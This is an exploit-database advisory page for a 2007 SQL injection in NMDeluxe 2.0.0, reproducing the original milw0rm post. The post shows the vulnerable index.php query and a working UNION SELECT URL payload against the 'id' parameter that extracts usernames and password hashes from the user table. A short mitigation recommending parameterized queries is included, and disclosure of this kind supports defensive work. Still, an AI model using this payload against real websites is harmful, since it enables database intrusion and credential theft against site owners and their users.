NMDeluxe 2.0.0

vendor:

NMDeluxe

by:

notsec group

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: NMDeluxe

Affected Version From: 2.0.0

Affected Version To: 2.0.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

The vulnerability allows an attacker to execute arbitrary SQL queries through the 'id' parameter in the 'do=newspost' action of the 'index.php' file. By manipulating the 'id' parameter, an attacker can retrieve sensitive information from the database.

Mitigation:

To mitigate the vulnerability, it is recommended to use prepared statements or parameterized queries to handle user input and avoid direct concatenation of user input in SQL queries.

Source

Exploit-DB raw data:

#########################################################################################
#
#                                    not sec group
#        http://www.notsec.com     info@notsec.com
#
#
#       [NMDeluxe 2.0.0]
#
# Class:     SQL Injection
# Found:     30/08/2007
# Remote:    Yes
# Site:      http://www.wsdeluxe.com/nmdeluxe/
# Download:  http://downloads.sourceforge.net/nmdeluxe/nmdeluxe2.0.0.zip?modtime=1178396844&big_mirror=0
#
#########################################################################################


      Vulnerable code:
      index.php
============================================================================================================
if($_GET['do'] == 'newspost')
{
  $newsid=addslashes($_GET['id']);

  $sql=mysql_query('SELECT * FROM `'.DB_PFX.'news` WHERE id = ' . $newsid . ' LIMIT ' . $nlim . '');
============================================================================================================


      Exploit :
============================================================================================================================================================================================
http://www.site.com/[nmdeluxe]/index.php?do=newspost&id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/*
============================================================================================================================================================================================


      Thanks To:
=================================
All notsec.com members;
White_Sheep for his Bugs Hunter;
=================================

# milw0rm.com [2007-08-30]